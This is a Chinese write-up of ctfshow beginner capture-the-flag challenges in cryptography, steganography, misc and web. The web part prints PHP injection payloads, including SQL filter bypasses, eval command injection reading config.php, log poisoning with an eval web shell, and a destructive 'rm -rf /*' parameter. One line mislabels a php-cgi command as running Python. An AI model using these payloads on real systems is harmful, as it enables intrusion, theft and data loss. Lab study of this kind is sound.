提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
     ctfshow-萌新
    
- 
      
 题目
 
- 
      
 一、密码1
 
- 
      
 二、密码2
 
- 
      
 三、密码3
 
- 
      
 四、密码4
 
- 
      
 五、隐写1
 
- 
      
 六、隐写2
 
- 
      
 七、萌新 隐写2
 
- 
      
 八、萌新 隐写3
 
- 
      
 九、萌新 隐写4
 
- 
      
 十、萌新 隐写5
 
- 
      
 十一、萌新 隐写6
 
- 
      
 十二、杂项1
 
- 
      
 十三、杂项2
 
- 
      
 十四、杂项3
 
- 
      
 十五、杂项4
 
- 
      
 十六、杂项5
 
- 
      
 十七、杂项6
 
- 
      
 十八、杂项7
 
- 
      
 十九、杂项8
 
- 
      
 二十、杂项10
 
- 
      
 二十一、杂项11
 
- 
      
 二十二、web1
 
- 
      
 二十三、web2
 
- 
      
 二十四、web3
 
- 
      
 二十五、web4
 
- 
      
 二十六、web5
 
- 
      
 二十七、web6
 
- 
      
 二十八、web7
 
- 
      
 二十九、web8
 
- 
      
 三十、web9
 
- 
      
 三十一、web10
 
- 
      
 三十二、web11
 
- 
      
 三十三、web12
 
- 
      
 三十四、web13
 
- 
      
 三十五、web14
 
- 
      
 三十六、web15
 
- 
      
 三十七、web16
 
- 
      
 三十八、web17
 
- 
      
 三十九、web18
 
- 
      
 四十、web19
 
- 
      
 四十一、web20
 
- 
      
 四十二、web21
 
- 
      
 四十三、获取百分百的快乐
 
    
    
    题目
   
    
    
    一、密码1
   
    密文:
    
    53316C6B5A6A42684D3256695A44566A4E47526A4D5459774C5556375A6D49324D32566C4D4449354F4749345A6A526B4F48303D
   
提交格式:KEY{XXXXXXXXXXXXXX}
    Hex解码:
    
    S1lkZjBhM2ViZDVjNGRjMTYwLUV7ZmI2M2VlMDI5OGI4ZjRkOH0=
   
    base64解码:
    
    KYdf0a3ebd5c4dc160-E{fb63ee0298b8f4d8}
   
     
   
    栅栏密码:
    
    KEY{dffb06a33eeeb0d259c84bd8cf146d08-}
   
     
   
    
    
    二、密码2
   
出题人已累,随便敲了几下键盘。。。 rdcvbg 2qase3 6tghu7
flag格式KEY{XXXXXX}
    查看键盘:
    
    rdcvbg – 包围着F
    
    2qase3 – 包围着W
    
    6tghu7 – 包围着Y
   
flag为:KEY{FWY}
    
    
    三、密码3
   
    题目名称:
    
    我想吃培根 题目描述:
    
    – — .-. … . …–.- … … …–.- -.-. — — .-… …–.- -… …- – …–.- -… .- -.-. — -. …–.- … … …–.- -.-. — — .-… . .-. …–.- – – -… -… – -… – -… – – – -… -… -… /– -… – -… -… –/ – – – – – /– -… -… – -… – /– -… -… –
    
    格式:flag{***********}
   
摩斯密码解码:
    mmddmdmdmmmdddmdmddmmmmmmmddmdmmddm
    
    
    
    bacon是培根
    
    因此用培根密码解码:
    
    将m、d分别用a、b替换
    
    flag{GWPYAOG}
    
     
   
    
    
    四、密码4
   
QW8obWdIWF5FKUFSQW5URihKXWZAJmx0OzYiLg==
base64解码:
Ao(mgHX^E)ARAnTF(J]f@<6".
解密出来的密文中包含
<
表示的是html中的<
<
     
   
    因此需要进行修改:
    
    Ao(mgHX^E)ARAnTF(J]f@<6″.
   
    进行base85解密:
    
    flag{base_base_base}
   
    
    
    五、隐写1
   
    png头部被破坏
    
    正常头部:89504E47
    
    该题头部:99504E47
   
修改后,图片恢复正常
     
   
    
    
    六、隐写2
   
下载图片,图片上的信息是JPHS
使用JPHS工具解密(seek,无密码)
将分离出来的文件命名为1.txt,打开查看flag
    
    
    七、萌新 隐写2
   
    下载压缩包,需要密码
    
    用ARCHPR工具暴力破解
    
    密码:19981000
   
解压后得到flag.txt,打开得到flag
    
    
    八、萌新 隐写3
   
打开图片,直接看到flag
    
    
    九、萌新 隐写4
   
    下载压缩包
    
    解压后得到doc文件
    
    
    
    设置文件,将隐藏文字显示出来,得到flag
   
    
    
    十、萌新 隐写5
   
下载flag.txt
    里面有一串文字
    
    䴀娀圀䜀䌀娀娀䤀一䈀儀圀㘀堀㌀䬀一䘀㈀嘀㘀夀吀嘀䰀㔀㐀圀㘀㌀吀䠀䰀㔀刀䐀䜀䴀匀㜀䘀䔀㴀㴀㴀㴀㴀㴀
   
    使用unicode编码:
    
    \u4D00\u5A00\u5700\u4700\u4300\u5A00\u5A00\u4900\u4E00\u4200\u5100\u5700\u3600\u5800\u3300\u4B00\u4E00\u4600\u3200\u5600\u3600\u5900\u5400\u5600\u4C00\u3500\u3400\u5700\u3600\u3300\u5400\u4800\u4C00\u3500\u5200\u4400\u4700\u4D00\u5300\u3700\u4600\u4500\u3D00\u3D00\u3D00\u3D00\u3D00\u3D00
   
    使用hex解码:
    
    M.Z.W.G.C.Z.Z.I.N.B.Q.W.6.X.3.K.N.F.2.V.6.Y.T.V.L.5.4.W.6.3.T.H.L.5.R.D.G.M.S.7.F.E.=.=.=.=.=.=.
   
    去掉.
    
    MZWGCZZINBQW6X3KNF2V6YTVL54W63THL5RDGMS7FE======
   
base32解码:
flag(hao_jiu_bu_yong_b32_)
    
    
    十一、萌新 隐写6
   
下载压缩包后,得到一段音频
用audacity-2.4.2工具打开,发现左声道是摩斯密码
解码后得到flag
    
    
    十二、杂项1
   
已知 md5(表白的话+ctf)=ed400fbcff269bd9c65292a97488168a
提交flag{表白的话}
    得到的结果:
    
    helloctf
   
因此,flag{hello}
    
    
    十三、杂项2
   
    下载压缩包
    
    解压后,得到一张图片
    
    放入010editor,在最下方得到flag{ctfshow_im_coming}
   
    
    
    十四、杂项3
   
大家好我是小萌新羽,前不久我的一个朋友给我了一张银行卡,他说里面有一大笔钱,但是他只告诉我他的生日是九七年十月一日,你能帮我猜猜他的银行卡密码是多少吗,哦对,这个朋友有个小名叫小五。
flag{971015}
    
    
    十五、杂项4
   
小明心爱的图片在压缩包中,可是小明夜深人静的时候,孤枕难眠,想打开图片排遣寂寞,可是忘记了密码了,小米依稀记得9位的密码都是数字,前3位是372,你能帮助小明吗?
    使用ARCHPR工具暴力破解
    
    得到flag
   
    
    
    十六、杂项5
   
小明如愿以偿的打开了压缩包,可是眼前的文字自己只能认识FBI,其他的都不认识,而且屏幕出现了一句话,你能帮小明找到这句话的意思吗?
i was always Fond of visiting new scenes, and observing strange characters and manners. even when a mere chiLd i began my travels, and made mAny tours of discovery into foreiGn {parts and unknown regions of my native City, to the frequent alarm of my parents, and The emolument of the town-crier. as i grew into boyhood, i extended the range oF my obServations. my holiday afternoons were spent in rambles about tHe surrounding cOuntry. i made myself familiar With all its places famous in history or fable. i kNew every spot where a murder or robbery had been committed, or a ghost seen. i visited the neighboring villages, and added greatly to my stock of knowledge,By noting their habits and customs, and conversing with their sages and great men.}
将这串英文中的大写字母提取出来:
    在本地电脑上运行python脚本的命令
    
    php-cgi.exe -f C:\Users\43844\Desktop\rce_or.php
   
import re
string = 'i was always Fond of visiting new scenes, and observing strange characters and manners. even when a mere chiLd i began my travels, and made mAny tours of discovery into foreiGn {parts and unknown regions of my native City, to the frequent alarm of my parents, and The emolument of the town-crier. as i grew into boyhood, i extended the range oF my obServations. my holiday afternoons were spent in rambles about tHe surrounding cOuntry. i made myself familiar With all its places famous in history or fable. i kNew every spot where a murder or robbery had been committed, or a ghost seen. i visited the neighboring villages, and added greatly to my stock of knowledge,By noting their habits and customs, and conversing with their sages and great men.}'
result = ''.join(re.findall(r'[A-Z\{\}]',string))
print(result)
获取FLAG{CTFSHOWNB}
    
    
    十七、杂项6
   
小明的压缩包又忘记密码了?他去电脑维修店去修,人家扔出来说这个根本就没有密码,是个假密码。小明懵了,明明有密码的啊,你能帮帮小明吗?
    是一个伪加密
    
    将504b0102后的第9、10字节修改为00
   
解压后得到flag
    
    
    十八、杂项7
   
    小明小心翼翼的打开压缩包,竟然是个图片,什么鬼?
    
    要是图片能继续往长一点该多好啊,小明暗暗的想。
    
    你能帮小明完成这个朴素的梦想吗?
   
将图片放入010editor
发现crc值是错误的
    用crc.py的脚本运行出正确的高、宽
    
    python crc.py
   
import struct
import binascii
crcbp = open("flag.png", "rb").read()  
for i in range(2000):     
    for j in range(2000):
        data = crcbp[12:16] + struct.pack('>i', i)+struct.pack('>i', j)+crcbp[24:29]
        crc32 = binascii.crc32(data) & 0xffffffff
        if(crc32 == 0x91918666):   
            print(i, j)
            print('hex:', hex(i), hex(j))
将正确的高、宽修改后,点开图片,得到flag
    
    
    十九、杂项8
   
小明看完图片老脸一红,心想,我女朋友能有这么瘦就好了。
做法同杂项7一致
    
    
    二十、杂项10
   
小明决定不看小姐姐了,摘掉800度的眼镜,望向这个图片。
    查看图片,每一部分构成一个汉字:我好喜欢你
    
    flag{我好喜欢你}
   
    
    
    二十一、杂项11
   
下载图片,使用jphs工具,seek(无密码),得到一张二维码
    扫描二维码,得到一个链接,链接后面是base64密文
    
    ZmxhZ3vmiJjnpZ7lvZLmnaXlj5HnjrDoh6rlt7HlhL/lrZDlnKjliLfpopjvvIzkuIDmgJLkuYvkuIvlj6zllKQxMOS4h+WwhuWjq+adpeaKpeS7h30=
   
解密后:
flag{战神归来发现自己儿子在刷题,一怒之下召唤10万将士来报仇}
    
    
    二十二、web1
   
<html>
<head>
    <title>ctf.show萌新计划web1</title>
    <meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
    $id = $_GET['id'];
    # 判断id的值是否大于999
    if(intval($id) > 999){
        # id 大于 999 直接退出并返回错误
        die("id error");
    }else{
        # id 小于 999 拼接sql语句
        $sql = "select * from article where id = $id order by id limit 1 ";
        echo "执行的sql为:$sql<br>";
        # 执行sql 语句
        $result = $conn->query($sql);
        # 判断有没有查询结果
        if ($result->num_rows > 0) {
            # 如果有结果,获取结果对象的值$row
            while($row = $result->fetch_assoc()) {
                echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
            }
        }
        # 关闭数据库连接
        $conn->close();
    }
    
}else{
    highlight_file(__FILE__);
}
?>
</body>
<!-- flag in id = 1000 -->
</html>
?id=0x3E8
?id=‘1000’
?id=0b001111101000
?id=2 or id=1000
?id=~~1000 两次取反
    
    
    二十三、web2
   
?id=0x3E8
?id=‘1000’
?id=0b001111101000
?id=2 or id=1000
?id=~~1000 两次取反
    
    
    二十四、web3
   
 if(preg_match("/or|\-|\\|\*|\<|\>|\!|x|hex|\+/i",$id)){ 
?id=‘1000’
?id=~~1000
    
    
    二十五、web4
   
 if(preg_match("/or|\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){ 
?id=‘1000’
?id=~~1000
    
    
    二十六、web5
   
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){ 
?id=~~1000
    
    
    二十七、web6
   
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|x|hex|\(|\)|\+|select/i",$id)){ 
?id=~~1000
    
    
    二十八、web7
   
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|\~|x|hex|\(|\)|\+|select/i",$id)){ 
?id=0b001111101000
    
    
    二十九、web8
   
<html>
<head>
    <title>ctf.show萌新计划web1</title>
    <meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件,key flag 也在里面定义
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['flag'])){
        if(isset($_GET['flag'])){
                $f = $_GET['flag'];
                if($key===$f){
                        echo $flag;
                }
        }
}else{
    highlight_file(__FILE__);
}
?>
</body>
</html> 
?flag=rm -rf /*
    
    
    三十、web9
   
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(preg_match("/system|exec|highlight/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>
?c=system(“tac config.php”);
    
    
    三十一、web10
   
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|exec|highlight/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>
php中作为执行系统命令的函数:
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
本题:
?c=passthru(‘tac config.php’);
    
    
    三十二、web11
   
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|exec|highlight|cat/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?> 
?c=passthru(‘tac config.php’);
    
    
    三十三、web12
   
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|exec|highlight|cat|\.|php|config/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?> 
?c=passthru(‘tac confi*’);
base64加密方式:看源代码
?c=$a=base64_decode(‘Y29uZmlnLnBocA==’);passthru(“more $a”);
config.php的base64:Y29uZmlnLnBocA==
    
    
    三十四、web13
   
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|exec|highlight|cat|\.|\;|file|php|config/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>
?c=passthru(‘tac confi*’)?>
    
    
    三十五、web14
   
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|exec|highlight|cat|\(|\.|\;|file|php|config/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>
?c=echo `$_GET[1]`?>,&1=tac config.php
    
    
    三十六、web15
   
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>
?c=echo
$_GET[1]
;&1=tac config.php
    
    
    三十七、web16
   
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(md5("ctfshow$c")==="a6f57ae38a22448c2f07f3f95f49c84e"){
            echo $flag;
        }else{
            echo "nonono!";
        }
}else{
        highlight_file(__FILE__);
}
?>
脚本:
import hashlib
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
payload=''
for i in str1:
    for j in str1:
        for k in str1:
            s = hashlib.md5(('ctfshow'+i+j+k).encode()).hexdigest()
            #print(type(s))
            if s=='a6f57ae38a22448c2f07f3f95f49c84e':
                print(i+j+k)
结果:36d
?c=36d
得到flag
    
    
    三十八、web17
   
<?php
if(isset($_GET['c'])){
       $c=$_GET['c'];
       if(!preg_match("/php/i",$c)){
               include($c);
       }
}else{
        highlight_file(__FILE__);
}
?>
1.修改UA头部
<?php eval($_POST[1]);?>
    2.查看日志文件
    
    ?c=/var/log/nginx/access.log
   
    3.用蚁剑连接
    
    打开36d.php文件,得到flag
   
    4.或者post方式
    
    1=system(‘ls’);
    
    1=system(“tac 36d.php”);
   
    
    
    三十九、web18
   
同web17一致
    
    
    四十、web19
   
同web17一致
    
    
    四十一、web20
   
同web17一致
    
    
    四十二、web21
   
同web17一致
    
    
    四十三、获取百分百的快乐
   
<?php
show_source(__FILE__);
error_reporting(0);
if(strlen($_GET[1])<4){
     echo shell_exec($_GET[1]);
}
else{
     echo "hack!!!";
}
?>
//by Firebasky 
    1.创建一个空文件
    
    ?1=>nl
   
    2.查看文件,发现nl文件存在
    
    ?1=ls
   
    3.获取flag
    
    ?1=*
   
 
